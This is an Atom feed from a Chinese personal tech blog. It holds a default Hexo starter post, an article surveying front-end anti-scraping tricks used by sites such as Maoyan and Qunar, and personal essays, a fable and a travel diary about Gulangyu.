<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ApeHsiao的技术分享</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://xiaocp.com/"/>
  <updated>2020-05-07T16:15:56.000Z</updated>
  <id>http://xiaocp.com/</id>
  
  <author>
    <name>阿佩</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Hello World</title>
    <link href="http://xiaocp.com/2020/05/08/hello-world/"/>
    <id>http://xiaocp.com/2020/05/08/hello-world/</id>
    <published>2020-05-07T16:15:56.000Z</published>
    <updated>2020-05-07T16:15:56.000Z</updated>
    
    <content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="noopener">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="noopener">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="noopener">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="noopener">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo new <span class="string">"My New Post"</span></span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="noopener">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo server</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="noopener">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo generate</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="noopener">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ hexo deploy</span><br></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html" target="_blank" rel="noopener">Deployment</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;Welcome to &lt;a href=&quot;https://hexo.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hexo&lt;/a&gt;! This is your very first post. Check &lt;a href=&quot;https://hexo.
      
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>反击爬虫，前端工程师的脑洞可以有多大？</title>
    <link href="http://xiaocp.com/2017/07/09/prevent-spiders/"/>
    <id>http://xiaocp.com/2017/07/09/prevent-spiders/</id>
    <published>2017-07-09T02:36:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="http://7tszky.com1.z0.glb.clouddn.com/FmIvXiOiFFET4oPGkVU6rdDCl87S" width="400"></p><p><em>—— 同时发表于<a href="http://imweb.io/topic/595b7161d6ca6b4f0ac71f05" target="_blank" rel="noopener">imweb.io</a></em></p><h3 id="1-前言"><a href="#1-前言" class="headerlink" title="1. 前言"></a>1. 前言</h3><p>对于一张网页，我们往往希望它是结构良好，内容清晰的，这样搜索引擎才能准确地认知它。<br>而反过来，又有一些情景，我们不希望内容能被轻易获取，比方说电商网站的交易额，教育网站的题目等。因为这些内容，往往是一个产品的生命线，必须做到有效地保护。这就是<strong>爬虫与反爬虫</strong>这一话题的由来。</p><a id="more"></a><h3 id="2-常见反爬虫策略"><a href="#2-常见反爬虫策略" class="headerlink" title="2. 常见反爬虫策略"></a>2. 常见反爬虫策略</h3><p>但是世界上没有一个网站，能做到完美地反爬虫。</p><p>如果页面希望能在用户面前正常展示，同时又不给爬虫机会，就必须要做到识别真人与机器人。因此工程师们做了各种尝试，这些策略大多采用于<strong>后端</strong>，也是目前比较常规单有效的手段，比如：</p><ul><li>User-Agent + Referer检测</li><li>账号及Cookie验证</li><li>验证码</li><li>IP限制频次</li></ul><p>而爬虫是可以无限逼近于真人的，比如：</p><ul><li>chrome headless或phantomjs来模拟浏览器环境</li><li><a href="http://udn.yyuap.com/doc/ae/920457.html" target="_blank" rel="noopener">tesseract</a>识别验证码</li><li>代理IP淘宝就能买到</li></ul><p>所以我们说，100%的反爬虫策略？不存在的。<br>更多的是体力活，是个难易程度的问题。</p><p>不过作为前端工程师，我们可以增加一下游戏难度，设计出一些<strong>很(sang)有(xin)意(bing)思(kuang)</strong>的反爬虫策略。</p><h3 id="3-前端与反爬虫"><a href="#3-前端与反爬虫" class="headerlink" title="3. 前端与反爬虫"></a>3. 前端与反爬虫</h3><h4 id="3-1-font-face拼凑式"><a href="#3-1-font-face拼凑式" class="headerlink" title="3.1 font-face拼凑式"></a>3.1 font-face拼凑式</h4><p><strong>例子：<a href="http://maoyan.com/films/342601" target="_blank" rel="noopener">猫眼电影</a></strong></p><p>猫眼电影里，对于票房数据，展示的并不是纯粹的数字。<br>页面使用了font-face定义了字符集，并通过unicode去映射展示。也就是说，除去图像识别，必须同时爬取字符集，才能识别出数字。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/Fr4tKHT39qEwCjjK7QlhWpHWNkvs" alt=""></p><p>并且，每次刷新页面，字符集的url都是有变化的，无疑更大难度地增加了爬取成本。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FnBGGXcZgJ_PN9CbX5gVz_f5Y579" alt=""></p><h4 id="3-2-background拼凑式"><a href="#3-2-background拼凑式" class="headerlink" title="3.2 background拼凑式"></a>3.2 background拼凑式</h4><p><strong>例子：<a href="http://www.meituan.com/dianying/342601?#content" target="_blank" rel="noopener">美团</a></strong></p><p>与font的策略类似，美团里用到的是background拼凑。数字其实是图片，根据不同的background偏移，显示出不同的字符。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FvAROr33mC0rpTFO46Xtl3j-8HrW" alt=""></p><p>并且不同页面，图片的字符排序也是有区别的。不过理论上只需生成0-9与小数点，为何有重复字符就不是很懂。</p><p>页面A：<br><img src="http://7tszky.com1.z0.glb.clouddn.com/Fp_3RGHisGjjKoofp-W7oOx731ry" alt=""><br>页面B：<br><img src="http://7tszky.com1.z0.glb.clouddn.com/FiuQ2nSHzD6VoM2L_LDloXUo9ndL" alt=""></p><h4 id="3-3-字符穿插式"><a href="#3-3-字符穿插式" class="headerlink" title="3.3 字符穿插式"></a>3.3 字符穿插式</h4><p><strong>例子：<a href="https://mp.weixin.qq.com/s?__biz=MzI0MDYwNjk2OA==&mid=2247484365&idx=4&sn=291a93e8a4ce6e90d3b6ef8b98fe09c4&chksm=e919085ade6e814cc037ecf6a873f22da0e492911a4e539e6f8fdeff022806b4d248c4d54194&scene=4" target="_blank" rel="noopener">微信公众号文章</a></strong></p><p>某些微信公众号的文章里，穿插了各种迷之字符，并且通过样式把这些字符隐藏掉。<br>这种方式虽然令人震惊…但其实没有太大的识别与过滤难度，甚至可以做得更好，不过也算是一种脑洞吧。<br><img src="http://7tszky.com1.z0.glb.clouddn.com/FoFF_VXDYzM0DyLDjAbOz8ATzH59" alt=""></p><p>对了，我的手机流量可以找谁报销吗？</p><h4 id="3-4-伪元素隐藏式"><a href="#3-4-伪元素隐藏式" class="headerlink" title="3.4 伪元素隐藏式"></a>3.4 伪元素隐藏式</h4><p><strong>例子：<a href="http://car.autohome.com.cn/config/series/3170.html" target="_blank" rel="noopener">汽车之家</a></strong></p><p>汽车之家里，把关键的厂商信息，做到了伪元素的content里。<br>这也是一种思路：爬取网页，必须得解析css，需要拿到伪元素的content，这就提升了爬虫的难度。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FslsPbUtQhM2uE_bK-LZw7NHynl5" alt=""></p><h4 id="3-5-元素定位覆盖式"><a href="#3-5-元素定位覆盖式" class="headerlink" title="3.5 元素定位覆盖式"></a>3.5 元素定位覆盖式</h4><p><strong>例子：<a href="https://flight.qunar.com/site/oneway_list.htm?searchDepartureAirport=%E5%B9%BF%E5%B7%9E&searchArrivalAirport=%E5%8C%97%E4%BA%AC&searchDepartureTime=2017-07-06&searchArrivalTime=2017-07-09&nextNDays=0&startSearch=true&fromCode=CAN&toCode=BJS&from=qunarindex&lowestPrice=null" target="_blank" rel="noopener">去哪儿</a></strong></p><p>还有热爱数学的去哪儿，对于一个4位数字的机票价格，先用四个<code>i</code>标签渲染，再用两个<code>b</code>标签去绝对定位偏移量，覆盖故意展示错误的<code>i</code>标签，最后在视觉上形成正确的价格…</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FtZdGFs-53tAYT10GS_ukosJL8CF" alt=""></p><p>这说明爬虫会解析css还不行，还得会做数学题。</p><h4 id="3-6-iframe异步加载式"><a href="#3-6-iframe异步加载式" class="headerlink" title="3.6 iframe异步加载式"></a>3.6 iframe异步加载式</h4><p><strong>例子：<a href="http://music.163.com/#/song?id=424477863" target="_blank" rel="noopener">网易云音乐</a></strong></p><p>网易云音乐页面一打开，html源码里几乎只有一个<code>iframe</code>，并且它的src是空白的：<code>about:blank</code>。接着js开始运行，把整个页面的框架异步塞到了iframe里面…</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FjHp4gqXWu1YeYWVJ1vkMAgRzO-g" alt=""></p><p>不过这个方式带来的难度并不大，只是在异步与iframe处理上绕了个弯（或者有其他原因，不完全是基于反爬虫考虑），无论你是用selenium还是phantom，都有API可以拿到iframe里面的content信息。</p><h4 id="3-7-字符分割式"><a href="#3-7-字符分割式" class="headerlink" title="3.7 字符分割式"></a>3.7 字符分割式</h4><p><strong>例子：<a href="http://www.goubanjia.com/" target="_blank" rel="noopener">全网代理IP</a></strong></p><p>在一些展示代理IP信息的页面，对于IP的保护也是大费周折。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FiY93YeoTulfbXWBxfX3nrksVQVV" alt=""></p><p>他们会先把IP的数字与符号分割成dom节点，再在中间插入迷惑人的数字，如果爬虫不知道这个策略，还会以为自己成功拿到了数值；不过如果爬虫注意到，就很好解决了。</p><h4 id="3-8-字符集替换式"><a href="#3-8-字符集替换式" class="headerlink" title="3.8 字符集替换式"></a>3.8 字符集替换式</h4><p><strong>例子：<a href="https://m.flight.qunar.com/ncs/page/flightlist?depCity=%E5%8C%97%E4%BA%AC&arrCity=%E4%B8%8A%E6%B5%B7&goDate=2017-07-05&backDate=&sort=&airLine=&from=" target="_blank" rel="noopener">去哪儿移动侧</a></strong></p><p>同样会欺骗爬虫的还有去哪儿的移动版。</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/Ft3i0NfbT8udcJ-OMIQQvdeU-LTb" alt=""></p><p>html里明明写的3211，视觉上展示的却是1233。原来他们重新定义了字符集，3与1的顺序刚好调换得来的结果…</p><p><img src="http://7tszky.com1.z0.glb.clouddn.com/FoMbTu14ollkxEO0tSv7F55ZVxMq" alt=""></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;http://7tszky.com1.z0.glb.clouddn.com/FmIvXiOiFFET4oPGkVU6rdDCl87S&quot; width=&quot;400&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;—— 同时发表于&lt;a href=&quot;http://imweb.io/topic/595b7161d6ca6b4f0ac71f05&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;imweb.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;1-前言&quot;&gt;&lt;a href=&quot;#1-前言&quot; class=&quot;headerlink&quot; title=&quot;1. 前言&quot;&gt;&lt;/a&gt;1. 前言&lt;/h3&gt;&lt;p&gt;对于一张网页，我们往往希望它是结构良好，内容清晰的，这样搜索引擎才能准确地认知它。&lt;br&gt;而反过来，又有一些情景，我们不希望内容能被轻易获取，比方说电商网站的交易额，教育网站的题目等。因为这些内容，往往是一个产品的生命线，必须做到有效地保护。这就是&lt;strong&gt;爬虫与反爬虫&lt;/strong&gt;这一话题的由来。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="安全" scheme="http://xiaocp.com/tags/%E5%AE%89%E5%85%A8/"/>
    
      <category term="前端" scheme="http://xiaocp.com/tags/%E5%89%8D%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>失眠故事五【花匠与候鸟】</title>
    <link href="http://xiaocp.com/2017/06/05/my-fairy-tale4/"/>
    <id>http://xiaocp.com/2017/06/05/my-fairy-tale4/</id>
    <published>2017-06-04T19:55:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/diary-29.jpg" alt="Picture by Matt Carlson"></p><h3 id="一、"><a href="#一、" class="headerlink" title="一、"></a>一、</h3><p>每个春天，候鸟都会来到这片花田。<br>每个不是春天的季节，花匠总在认真地打理花田。花匠想让一切看起来未来可期，因为他喜欢这只候鸟。喜欢，是因为他们都爱花。那些关于花的话题，他们永远聊不完。</p><p>有一个春天，候鸟跟花匠说起了她家乡的雪莲。<br>这种花，花匠从来没听说过。但每次说起雪莲，花匠都能注意到她眼中飞扬的光亮。是的，那是候鸟最心爱的花儿。</p><a id="more"></a><h3 id="二、"><a href="#二、" class="headerlink" title="二、"></a>二、</h3><p>花匠决定要去摘一朵雪莲。<br>他没有翅膀，需要跨过无数高山与大海。他也没有出行的经验，收拾简单的行李都会丢三落四。而且他还很擅长幻想，这是一个致命的弱点。湖泊的水怪，雪山的巨人，时长出现在梦中。<br>不过，他还是出发了。花匠真想看看雪莲的姿态。<br>他觉得自己会喜欢雪莲的，因为候鸟的喜欢。</p><p>从来没有如此漫长的旅程。花匠受了伤，留了血，靠着花茶治愈，又继续前行。后来，在与巨熊搏斗时，他滚落了山崖。眼中透着一层血雾，他看到了一朵雪莲。</p><p>他觉得需要眯起眼睛，才敢欣赏雪莲的美丽。仿佛周遭都是黑暗的，只有这朵花，散发出蛛丝一样细的光线，然后越来越浓厚，变成了纯洁的羽绒，温暖地拨开他的眼帘。然后他称赞道，好美啊。</p><h3 id="三、"><a href="#三、" class="headerlink" title="三、"></a>三、</h3><p>就这样，在下一个春天，花匠把雪莲送给了候鸟。他微笑着，在等待她的反应。<br>候鸟说：“谢谢你。但我只能说谢谢，说不出其他的话来了。因为这朵花很普通，我知道它们盛开在哪个山谷，我挥一挥翅膀就能取到。虽然你很辛苦，但我理解不了你，请你原谅。”</p><p>花匠有一点点失落。他不安地摸摸自己头，还有些许尴尬。但他也开始明白一些道理。他想起《小王子》里的那朵独一无二的玫瑰。</p><p>候鸟安慰花匠说：“来年春天，我捎来一枝最好的雪莲送你，好吗？”<br>花匠重新露出了笑容，因为没有什么，比爱人的礼物更值得期待了。</p><h3 id="四、"><a href="#四、" class="headerlink" title="四、"></a>四、</h3><p>候鸟离去不久，花匠就开始担心起来。因为他确实擅长幻想。<br>他担心这朵雪莲，会成为候鸟迁徙的累赘。夜来无眠，他脑中尽是想象候鸟照看雪莲的情景。</p><p>雪莲需要水分，她会不会在河边浇灌？那里会不会有鳄鱼？<br>雪莲需要阳光，她会不会登上最高的山头？那里会不会有猛禽？<br>雪莲的花瓣那么娇嫩，她是不是不能自由飞行？</p><p>正当花匠以为候鸟会因为不顺畅的旅途，而姗姗来迟时，候鸟给了他一个意外。这一个春天，她甚至比以往更早出现在他面前。<br>她嘴里叼着一朵雪莲，一朵最美的雪莲。</p><p>“谢谢你，没有什么比这更美的了！”花匠说。<br>候鸟回答说：“可不是吗？我听先行的朋友说，你家附近的山谷里，也开了这种花，所以我没有从家乡带，我刚刚到那儿采的！就在不远的地方。”</p><h3 id="五、"><a href="#五、" class="headerlink" title="五、"></a>五、</h3><p>一种莫名的失落感笼罩了花匠。他觉得这朵雪莲一点都不美了。<br>至少，要比自己采的那朵“普通的”雪莲差得多。他甚至有点厌恶雪莲散发出的，蛛丝般的光芒，那些可恶的光芒，下一刻好像就要变成巨网，向他扑来，令人窒息。</p><p>候鸟很伤心，她叹气说：“我不懂。”<br>花匠也摇摇头，他也不懂自己为何悲伤。<br>候鸟继续说：“那是一个承诺，我没有忘记，虽然鸟儿记性都不好，对吗？”<br>花匠说：“是的。”<br>候鸟说：“雪莲开放在你的花田不远的山谷，是好事吗？”<br>花匠说：“太好了。”<br>候鸟说：“刚采的雪莲是最鲜艳的，我想你能看到它最美的样子。”<br>花匠说：“谢谢你。”</p><p>但花匠也只能说谢谢，说不出其他的话来了。</p><p>——Litten 2017.6.5 四点半</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/diary-29.jpg&quot; alt=&quot;Picture by Matt Carlson&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;一、&quot;&gt;&lt;a href=&quot;#一、&quot; class=&quot;headerlink&quot; title=&quot;一、&quot;&gt;&lt;/a&gt;一、&lt;/h3&gt;&lt;p&gt;每个春天，候鸟都会来到这片花田。&lt;br&gt;每个不是春天的季节，花匠总在认真地打理花田。花匠想让一切看起来未来可期，因为他喜欢这只候鸟。喜欢，是因为他们都爱花。那些关于花的话题，他们永远聊不完。&lt;/p&gt;
&lt;p&gt;有一个春天，候鸟跟花匠说起了她家乡的雪莲。&lt;br&gt;这种花，花匠从来没听说过。但每次说起雪莲，花匠都能注意到她眼中飞扬的光亮。是的，那是候鸟最心爱的花儿。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="故事" scheme="http://xiaocp.com/tags/%E6%95%85%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>病中记 4.16-4.22</title>
    <link href="http://xiaocp.com/2017/04/22/diary-2017-0416-0422/"/>
    <id>http://xiaocp.com/2017/04/22/diary-2017-0416-0422/</id>
    <published>2017-04-22T02:36:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/diary-22.jpg" alt="摄于清明" width="400"></p><p>4月马上就要过去<br>似乎日历上，径直就能从3月翻到5月。<br>时间怎么这么快？</p><p>长眠于4月之前的海子，对于时间，有一个生动的说法叫“打马而过”<br>有时觉得，这种匀速流淌不可变的东西，才是真TM的残忍。<br>长江水的结局，就是流到太平洋<br>没有任何意外能让它流到大西洋</p><p>所以你说，有时意外的中断多可爱？<br>红绿灯多好呀，给你走走停停的机会<br>小病多好呀，静下来休息和幻想<br>悲伤多好呀，欢乐可放歌，悲伤可饮酒</p><p>工作忙完了这阵子<br>那条安静而蜿蜒的时间之河，好像真的幻化成了打马的鞭子<br>梦中啪的一声惊响，病倒了。</p><a id="more"></a><hr><p>躺在床上仔细想想<br>这段时间还是忙业务，加之招聘等乱七八糟的事情，身心的确疲惫。<br>这次的开发工作，也备具挑战性，但也是好事。<br>年初评审完，我就想好今年对自己的要求，一个是“成事”，一个是“破局”。<br>技术这块，还是想有突破<br>我讨厌把自己的能力和思考，都锁在一个for循环里…<br>既然这样，就无怨无悔吧。</p><p>打点滴的时候突发奇想<br>既然是“病”，无独有偶，就继续看《霍乱时期的爱情》吧！<br>不出意料，一章半后又看不下去了…</p><p>马尔克斯的书，永远会给我一个强烈吸引的契机<br>然后你顺藤摸瓜，瓜还没摸到，就感觉藤蔓比想象中的长<br>里面有孤独，却是浪漫的；有爱情，又是矛盾的<br>一次次，这混乱的藤蔓让你撤了手，随后又会惦记着没摸到的瓜。<br>虽然烦恼，但没什么办法，只能等下次了<br>也可能是因为兴致不高。</p><p>说起兴致，这段时间对《塞尔达传说：荒野之息》很感兴趣。<br>病假里看了些直播视频，感叹真是高水平的创意设计<br>我想，如果能参与开发出这样的作品，那洒家一辈子也值了！<br>之前，朋友问过我，你要不要买Switch玩一下？<br>我的第一反应就是不买<br>事后想了想，这要是3年前的我，第一反应一定是会买的。</p><hr><p>可能我变了。<br>但有些事不宜多想，有些时间不应产生留恋<br>打马而过自有它的残忍，也有它的痛快。<br>明媚的4月啊，<br>要是心情郁闷的时候，用手托腮就好，<br>手臂会因为帮上忙而开心的。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/diary-22.jpg&quot; alt=&quot;摄于清明&quot; width=&quot;400&quot;&gt;&lt;/p&gt;

&lt;p&gt;4月马上就要过去&lt;br&gt;似乎日历上，径直就能从3月翻到5月。&lt;br&gt;时间怎么这么快？&lt;/p&gt;
&lt;p&gt;长眠于4月之前的海子，对于时间，有一个生动的说法叫“打马而过”&lt;br&gt;有时觉得，这种匀速流淌不可变的东西，才是真TM的残忍。&lt;br&gt;长江水的结局，就是流到太平洋&lt;br&gt;没有任何意外能让它流到大西洋&lt;/p&gt;
&lt;p&gt;所以你说，有时意外的中断多可爱？&lt;br&gt;红绿灯多好呀，给你走走停停的机会&lt;br&gt;小病多好呀，静下来休息和幻想&lt;br&gt;悲伤多好呀，欢乐可放歌，悲伤可饮酒&lt;/p&gt;
&lt;p&gt;工作忙完了这阵子&lt;br&gt;那条安静而蜿蜒的时间之河，好像真的幻化成了打马的鞭子&lt;br&gt;梦中啪的一声惊响，病倒了。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>我与《刺客信条》 3.5-3.11</title>
    <link href="http://xiaocp.com/2017/03/12/diary-2017-0305-0311/"/>
    <id>http://xiaocp.com/2017/03/12/diary-2017-0305-0311/</id>
    <published>2017-03-12T02:36:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/diary-21.jpg" alt=""></p><h4 id="一"><a href="#一" class="headerlink" title="一"></a>一</h4><p>这周感觉我的vscode已经“玩得贼6”<br>一切来之不易，毕竟是五次卸载sublime改掉的习惯。<br>不过这丝毫不影响我对sublime的喜爱<br>有人问为什么？<br>没法解释。大话西游里也曾说<br>喜欢一个编辑器需要理由吗？</p><p>但有点令人沮丧的是，“喜欢”这件事确实是会变的。</p><p>我有另外的感受，特别是在这周<br>迫不及待地把《刺客信条》电影看完的时候…<br>感觉特别的失望。<br>就是那种经行漫长的等候，期待一场肆无忌惮的雨<br>最后只听到了低沉雷声的空洞感。<br>但是，我也一曾很喜欢这个系列啊。</p><p>可能，再也不会有一款游戏，能给我带来这样的触动了吧。<br>五年前，我还写过点文字<a href="//litten.me/2012/12/18/assassins-creed/" target="_blank" rel="noopener">《记“刺客信条”三部曲：水月镜像，无心去来》</a>。</p><a id="more"></a><h4 id="二"><a href="#二" class="headerlink" title="二"></a>二</h4><p>刺客，优雅而自由。<br>兜帽遮住了他们的眉宇，新月似的眼神更加坚韧<br>然后他们开始奔跑，在庭院与房顶，在星辉抚摸的街道<br>披风猎猎翻卷，背后是雄奇又陈腐的都市，前方是正义而荣耀的理想<br>他们找到了目标，袖剑闪动，鲜血绽放<br>最后不发一言，默默离去。</p><p>当然除了这种“事了拂衣去”的热血，迷人之处还有一些隐喻。<br>比如后来才发觉，好几个重要的任务，都是安排刺客在教堂尖顶，从天而降，完成刺杀。<br>因为教堂，通常是文艺复兴时期城市的最高点，象征着天堂。<br>而刺客的行为，仔细想来，是一条“从天堂到地狱”之路。<br>为了终结他眼中的邪恶，为了城市更加的辉煌<br>也只有冒天下之不韪，只身落下地狱了，甚至，背负骂名。<br>这种反讽的隐喻，又给了刺客一些灵动的忧伤。</p><p>再后来，一些意外的文化思考，又有了惊喜。<br>因为偶然发现，《刺客信条》居然跟《倚天屠龙记》有点关系…<br>张无忌的明教武功，书里说为创始人霍山所创<br>而历史上的霍山，最著名的事迹，就是创建了“阿萨辛派（Assassin）”刺客组织，也就是游戏中的兄弟会前身。<br>所以讲不好，乾坤大挪移就是阿泰尔偷东西的那一招？<br>张无忌，讲道理是兄弟会的…中国常任理事会主席？</p><h4 id="三"><a href="#三" class="headerlink" title="三"></a>三</h4><p>遗憾的是，这些或迷人或有趣的设定没能一直延伸。<br>最近的几作，叙事过于空洞，人物失去了灵魂<br>刺客，匆匆的身影，反而更像个过客。<br>每次我爬上俯瞰点，眺望着城市的神韵，也还是会感叹：好美啊！<br>但好像，也只能停留在“美”的层面了。</p><p>我还是喜欢以前。<br>喜欢奔马高扬前蹄，嘶鸣掠过的罗马<br>喜欢明丽的音乐，随阿尔诺河一起流淌的翡冷翠<br>喜欢巍巍然屹立于大地的君士坦丁堡<br>还有孤僻而善良的阿泰尔，缜密而大气的艾吉奥…</p><p>所以，事情变得无趣的原因很简单：<br>我变了，sublime没变；我没变，游戏变了。<br>总之，你们的步调不一样了，<br>这在物理里，叫“相对位移”<br>在古文里，叫“曾经沧海难为水”<br>在王家卫里，叫“可我也只能到喜欢为止了”…</p><p>既然你不能阻止世界的改变，那唯一值得去做的<br>就是找到步伐一致的事情，找到那个志趣相投的人吧。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/diary-21.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;一&quot;&gt;&lt;a href=&quot;#一&quot; class=&quot;headerlink&quot; title=&quot;一&quot;&gt;&lt;/a&gt;一&lt;/h4&gt;&lt;p&gt;这周感觉我的vscode已经“玩得贼6”&lt;br&gt;一切来之不易，毕竟是五次卸载sublime改掉的习惯。&lt;br&gt;不过这丝毫不影响我对sublime的喜爱&lt;br&gt;有人问为什么？&lt;br&gt;没法解释。大话西游里也曾说&lt;br&gt;喜欢一个编辑器需要理由吗？&lt;/p&gt;
&lt;p&gt;但有点令人沮丧的是，“喜欢”这件事确实是会变的。&lt;/p&gt;
&lt;p&gt;我有另外的感受，特别是在这周&lt;br&gt;迫不及待地把《刺客信条》电影看完的时候…&lt;br&gt;感觉特别的失望。&lt;br&gt;就是那种经行漫长的等候，期待一场肆无忌惮的雨&lt;br&gt;最后只听到了低沉雷声的空洞感。&lt;br&gt;但是，我也一曾很喜欢这个系列啊。&lt;/p&gt;
&lt;p&gt;可能，再也不会有一款游戏，能给我带来这样的触动了吧。&lt;br&gt;五年前，我还写过点文字&lt;a href=&quot;//litten.me/2012/12/18/assassins-creed/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;《记“刺客信条”三部曲：水月镜像，无心去来》&lt;/a&gt;。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
      <category term="游戏" scheme="http://xiaocp.com/tags/%E6%B8%B8%E6%88%8F/"/>
    
  </entry>
  
  <entry>
    <title>在鼓浪屿</title>
    <link href="http://xiaocp.com/2016/08/01/gulangyu/"/>
    <id>http://xiaocp.com/2016/08/01/gulangyu/</id>
    <published>2016-07-31T17:36:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>—— litten 2015.11.04</p><p>要不要去厦门玩玩？<br>这个问题，在出发前一晚还是个问题。<br>早上一起来，感觉无数个灵魂在逼催着我：去！<br>这感觉过于强烈，似乎不去那儿，世界就要毁灭了…</p><p><img src="/assets/blogImg/gulangyu.jpg" alt="a cat"> </p><a id="more"></a><p>为了拯救世界，买了到厦门的动车票，再从三丘田码头坐轮渡，傍晚来到了鼓浪屿。<br>住的客栈接近龙头路，吃的玩的都有，一个人也逍遥自在。<br>赖皮鸭，虾扯蛋，芒果冰，林氏鱼丸，烧仙草，当然还有各种海鲜，变着花样来品尝。<br>睡觉时还惦记着没能排队买到的肠粉。</p><p>第二天主要是游览古迹。观海园、怡园、皓月园、菽庄藏海，路程虽远，但也有趣。<br>路遇算命猜姓的先生，20块钱，猜你姓名。<br>我在一旁看看究竟。<br>原来有很张写满姓氏的卡片，要猜的人，需要挑选出包含自己姓氏的那张。<br>如此重复几次，算命先生能准确猜出你的姓氏。</p><p>无非是数学游戏，一横一竖，玄机在交叉点呗。<br>不过断人财路可不好，笑笑离开。</p><p>当然，作为一个路痴，旅行中不出点意外好像就是最大的意外。<br>不出所料，我迷路了。<br>等我赶到日光岩时，月光已经洒满了海面。<br>门票已经买了，我还是想上去，即使这地儿人影都没有。</p><p>日光寺在山腰，弘一法师曾在这住过。<br>登山时，寺里梵唱迭起，木鱼敲击，声声入耳，仿佛从四面八方涌来。<br>感觉自己的身体暴露在广大的宗教尊严面前<br>渺小而恐惧。<br>手机的电筒不能安慰心理，索性关掉了。</p><p>我不会梵语，但会背心经。也在心中默念“照见五蕴皆空，度一切苦厄…”<br>不知不觉，突然发现已来到了山顶。<br>就这样，一座岛的全貌突然尽收眼底。<br>这是见过的，最美的鼓浪屿。<br>风呼呼的吹，仿佛月光不是直直的，有了一些弧度与质感。<br>心情便好多了。什么升职加薪迎娶白富美，都去TMD。</p><p>随后，我听到身后有脚步声，有人也跑到了山顶<br>定睛一看，居然还是个女孩。<br>我们见到对方都相视一笑，随后约好一起下山。<br>她说她叫天天，天天快乐的天天。</p><p>跟她去看了音乐会，又走到龙头路找吃的。<br>但她什么也不愿意吃，一问，她说，想吃酸辣土豆丝。<br>只有笑着承认，真是意料之外的答案。<br>我出来玩，就是为了吃平时吃不到的东西；<br>她则是觉得家乡的菜最熟悉，在哪都愿意吃的。</p><p>好吧，陪你吃，<br>因为离开武汉这么久，我也挺想念这道菜。</p>]]></content>
    
    <summary type="html">
